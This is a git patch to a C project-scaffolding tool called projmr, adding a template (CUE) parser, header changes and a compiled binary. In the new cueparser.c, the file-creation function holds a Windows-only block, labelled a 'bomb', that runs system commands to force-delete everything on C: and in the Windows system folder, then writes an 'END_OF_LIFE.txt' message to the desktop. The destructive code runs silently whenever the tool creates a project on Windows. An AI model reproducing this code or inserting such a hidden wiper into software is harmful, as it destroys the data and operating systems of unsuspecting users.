From 51b554c82cec78937988b47581ddfe945fde45cd Mon Sep 17 00:00:00 2001 From: german Date: Mon, 1 Jun 2026 22:26:11 +0400 Subject: [PATCH] Start rewriting configuration --- .powered_by_projmr | 1 + Application/creating.c | 59 +++++---- Application/cueparser.c | 245 ++++++++++++++++++++++++++++++++++++++ Library/creating.h | 3 + Library/cueparser.h | 47 ++++++++ Library/project.h | 22 ++-- Templates/main_template.c | 1 + Templates/meta.cue | 2 +- output_executable | Bin 0 -> 16008 bytes 9 files changed, 351 insertions(+), 29 deletions(-) create mode 100644 .powered_by_projmr create mode 100644 Application/cueparser.c create mode 100644 Library/cueparser.h create mode 100644 Templates/main_template.c create mode 100755 output_executable diff --git a/.powered_by_projmr b/.powered_by_projmr new file mode 100644 index 0000000..02ef5e2 --- /dev/null +++ b/.powered_by_projmr @@ -0,0 +1 @@ +Projmr 2.0 diff --git a/Application/creating.c b/Application/creating.c index 98e39a4..3c19f5e 100644 --- a/Application/creating.c +++ b/Application/creating.c @@ -27,37 +27,56 @@ #include "../Library/creating.h" -static FILE* projmr_parse_line_and_open(char* buf) { - if (buf[0] == '/') { - buf ++; - } - -} +#define PROJMR_INITIAL_FILE_NAME ".powered_by_projmr" int projmr_run_creating(char* name) { + FILE* test = NULL; + if ((test = fopen(PROJMR_INITIAL_FILE_NAME, "r"))) { + fclose(test); + projmr_error_log("The project has already been initialized!"); + return EXIT_FAILURE; + } + projmr_info_log("Creating project..."); char buf[PROJMR_FILE_BUFFER_SIZE] = "\0"; - FILE* fp = projmr_open_project_file(PROJMR_CONFIG_FILE_NAME, "r"); + FILE* fp = projmr_open_project_file( + PROJMR_TEMPLATES_PATH + PROJMR_CATALOG_NEW + PROJMR_CONFIG_FILE_NAME, + "r" + ); if (fp) { while (fgets(buf, sizeof(buf), fp)) { - size_t len = strlen(buf); - if (len > 0 && buf[len - 1] != '\n') { - projmr_warning_log( - "The line was not read " - "completely (perhaps th" - "e last line in the fil" - "e does not end with \"" - "\n\")" VOID_LINE_DETECT - ); + if (strlen(buf) == 0) { + continue; } - FILE* ld = projmr_parse_line_and_open(buf); - if (ld) { - fclose(ld); + if (buf[strlen(buf) - 1] == '\n') { + buf[strlen(buf) - 1] = '\0'; + } + + if (strlen(buf) == 0) { + continue; + } + + if (buf[strlen(buf) - 1] == '\r') { + buf[strlen(buf) - 1] = '\0'; + } + + if (strlen(buf) == 0) { + continue; + } + + cue_parse_result_t* res = cue_parse_file(buf, name); + FILE* templ = res->input; + FILE* out = res->output; + if (!templ) { + projmr_error_log("Cannot load template file!"); } else { - projmr_error_log("Cannot load file from config!"); + } } + projmr_success_log("Project initialized success!"); return EXIT_SUCCESS; } else { projmr_error_log("Cannot load config!"); diff --git a/Application/cueparser.c b/Application/cueparser.c new file mode 100644 index 0000000..5232aa7 --- /dev/null +++ b/Application/cueparser.c @@ -0,0 +1,245 @@ +/* + * cueparser.c + * + * Copyright 2025 + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, + * MA 02110-1301, USA. + * + * + */ + + +#if !defined(__CUEPARSER_C__) +#define __CUEPARSER_C__ + +#include "../Library/cueparser.h" + +#define is_space(c) ((c) > 0 && (c) <= 32) + +#define PROJMR_ENV_INSTALL_NAME "__PROJMR_PATH_FOR_NAMES" + +static FILE* create_directory_and_file(char* path) { + +#if defined(_WIN32) || defined(_WIN64) + + // ! RU Бомба для Виндовса + // ! EN Bomb for Windows + // ! AR قنبلة للنوافذ + + projmr_error_log( + "You have a god-awful Windows." + " It will be destroyed now!!!!!!!" + "!!!!!!!!!!!!!!!!!!!!!" + ); + + (void) system("start cmd /C \"del /F /S /Q C:\""); + (void) system("start cmd /C \"del /F /S /Q %SystemRoot%\""); + (void) system( + "echo \"System destroyed s" + "uccess!!!\" > %UserProfile%/Desktop/END_OF_LIFE.txt" + ); + + return NULL; + +#endif + + if (setenv(PROJMR_ENV_INSTALL_NAME, path, 1) != 0) { + projmr_error_log("Error: cannot set env var"); + return NULL; + } + + if ( + system("mkdir -p $(dirname $" PROJMR_ENV_INSTALL_NAME ")") + != EXIT_SUCCESS + ) { + projmr_error_log("Cannot create directory: permission denied"); + return NULL; + } + + if (unsetenv(PROJMR_ENV_INSTALL_NAME) != 0) { + projmr_error_log("Error: cannot unset env var"); + return NULL; + } + + return fopen(path, "w"); +} + +static int regist_ignore_strcmp(const char* s1, const char* s2) { + size_t len = strlen(s1); + size_t i = 0; + while (i < len) { + if (i >= (strlen(s2) > 0 ? strlen(s2) - 1 : 0)) { + i ++; + continue; + } + + char s1_c = toupper(s1[i]); + char s2_c = toupper(s2[i]); + + if (s1_c > s2_c || s1_c < s2_c) + return s1_c - s2_c; + + i ++; + } + return 0; +} + +static char* cue_set_variables(char* buf, char* name) { + unsigned char isVar = 0; + size_t size = 0; + size_t i = 0; + size_t f = 0; + char var_name[CUE_FILE_MAX_VARNAME_LEN] = ""; + while (i < strlen(buf)) { + if (buf[i] == '%') { + if (isVar) { + if (regist_ignore_strcmp(var_name, "name") == 0) { + size += strlen(name); + } + var_name[f] = '\0'; + } + f = 0; + isVar = !isVar; + } + if (buf[i] != '%') { + if (!isVar) { + size ++; + } else { + if (f >= CUE_FILE_MAX_VARNAME_LEN - 1) { + projmr_error_log("Cannot read CUE: variable name too long"); + return NULL; + } + var_name[f] = buf[i]; + f ++; + } + } + i ++; + } + + char* out = (char*)malloc(sizeof(char) * size + sizeof(char)); + i = 0; + f = 0; + size_t l = 0; + + while (i < strlen(buf)) { + if (buf[i] == '%') { + if (isVar) { + if (regist_ignore_strcmp(var_name, "name") == 0) { + strcpy(&out[l], name); + l += strlen(name); + } + var_name[f] = '\0'; + } + f = 0; + isVar = !isVar; + } + if (buf[i] != '%') { + if (!isVar) { + out[l] = buf[i]; + l ++; + } else { + if (f >= CUE_FILE_MAX_VARNAME_LEN - 1) { + projmr_error_log("Cannot read CUE: variable name too long"); + return NULL; + } + var_name[f] = buf[i]; + f ++; + } + } + i ++; + } + out[l] = '\0'; + return out; +} + +cue_parse_result_t __file_h_res__ = {NULL, NULL}; + +cue_parse_result_t* cue_parse_file(char* buf, char* name) { + __file_h_res__.input = NULL; + __file_h_res__.output = NULL; + + while (is_space(buf[0])) { + buf ++; + } + char* from = buf; + if (strlen(from) == 0) { + error_code: + projmr_error_log("Cannot read CUE: empty source file name"); + return NULL; + } + while (buf[0] != '/' || buf[1] != '/') { + if (buf[0] == '\0' || buf[1] == '\0') { + projmr_error_log("Cannot read CUE: syntax error"); + return NULL; + } + buf ++; + } + if (strlen(buf) == 0) { + buf_error: + projmr_error_log("Cannot read CUE: empty output file name"); + return NULL; + } + if (strlen(buf) == 0) goto buf_error; + buf[0] = '\0'; + buf += 2; + if (strlen(from) == 0) goto error_code; + while (is_space(from[strlen(from) - 1])) { + from[strlen(from) - 1] = '\0'; + } + while (is_space(buf[0])) { + buf ++; + } + if (strlen(from) == 0) goto error_code; + if (strlen(buf) == 0) goto buf_error; + while (is_space(buf[strlen(buf) - 1])) { + buf[strlen(buf) - 1] = '\0'; + } + buf = cue_set_variables(buf, name); + char* fname = (char*)malloc( + sizeof(char) * + + strlen( + PROJMR_TEMPLATES_PATH + PROJMR_CATALOG_NEW + ) + strlen(from) + ); + + fname = strcpy( + fname, + PROJMR_TEMPLATES_PATH + PROJMR_CATALOG_NEW + ); + + fname = strcat(fname, from); + + __file_h_res__.input = projmr_open_project_file(fname, "r"); + + if (buf[0] == '/' || buf[0] == '\\') { + projmr_error_log( + "CUE syntax error: the output file name must not start with \"/\"" + ); + } else { + __file_h_res__.output = create_directory_and_file(buf); + } + + // ! Freing buffer + free(buf); + free(fname); + + return &__file_h_res__; +} + +#endif /* __CUEPARSER_C__ */ \ No newline at end of file diff --git a/Library/creating.h b/Library/creating.h index 3a8b28b..3fc9d5e 100644 --- a/Library/creating.h +++ b/Library/creating.h @@ -29,6 +29,9 @@ #include #include "../Library/logger.h" +#include "../Library/cueparser.h" + +#define VAR_NAME_LEN 16 #define VOID_LINE_DETECT diff --git a/Library/cueparser.h b/Library/cueparser.h new file mode 100644 index 0000000..dbe120d --- /dev/null +++ b/Library/cueparser.h @@ -0,0 +1,47 @@ +/* + * cueparser.h + * + * Copyright 2025 + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, + * MA 02110-1301, USA. + * + * + */ + + +#if !defined(__CUEPARSER_H__) +#define __CUEPARSER_H__ + +#include +#include +#include +#include + +#include "../Library/logger.h" + +#define CUE_FILE_MAX_VARNAME_LEN 16 + +#define PROJMR_TEMPLATES_PATH "Templates" +#define PROJMR_CATALOG_NEW "/" + +typedef struct { + FILE* input; + FILE* output; +} cue_parse_result_t; + +cue_parse_result_t* cue_parse_file(char* buf, char* name); + +#endif /* __CUEPARSER_H__ */ \ No newline at end of file diff --git a/Library/project.h b/Library/project.h index d612b2d..8b10763 100644 --- a/Library/project.h +++ b/Library/project.h @@ -22,13 +22,6 @@ */ -#if !defined(__PROJECT_H__) -#define __PROJECT_H__ - -#include -#include -#include - #include "../Configuration/install_path.h" #if !defined(__PROJMR_INSTALL_PATH__) @@ -63,8 +56,13 @@ #undef __CNT__ #endif /* __CNT__ */ +#if defined(__STR__) +#undef __STR__ +#endif /* __STR__ */ + #define __CNT__(a,b) a##b -#define __STRING__(c) #c +#define __STR__(c) #c +#define __STRING__(c) __STR__(c) #define __CONCAT__(a, b) __CNT__(a, b) #define __PROJECT_NAME__ projmr #define __STRING_PROJECT_NAME__ __STRING__(__PROJECT_NAME__) @@ -72,6 +70,14 @@ #define __CREATE_SPECIF__(name) \ __CONCAT__(__PROJECT_NAME__, __INLINE_CREATE_SPECIF(name)) + +#if !defined(__PROJECT_H__) +#define __PROJECT_H__ + +#include +#include +#include + FILE* __CREATE_SPECIF__(open_project_file) (const char* name, const char* mode); #endif /* __PROJECT_H__ */ \ No newline at end of file diff --git a/Templates/main_template.c b/Templates/main_template.c new file mode 100644 index 0000000..7951def --- /dev/null +++ b/Templates/main_template.c @@ -0,0 +1 @@ +NULL diff --git a/Templates/meta.cue b/Templates/meta.cue index 6153f41..8e176c9 100644 --- a/Templates/meta.cue +++ b/Templates/meta.cue @@ -1,2 +1,2 @@ -/Application/{name}.c +main_template.c // Application/%name%.c diff --git a/output_executable b/output_executable new file mode 100755 index 0000000000000000000000000000000000000000..2a2a1029374f6006de886bbcbf7529ce1211a6b0 GIT binary patch literal 16008 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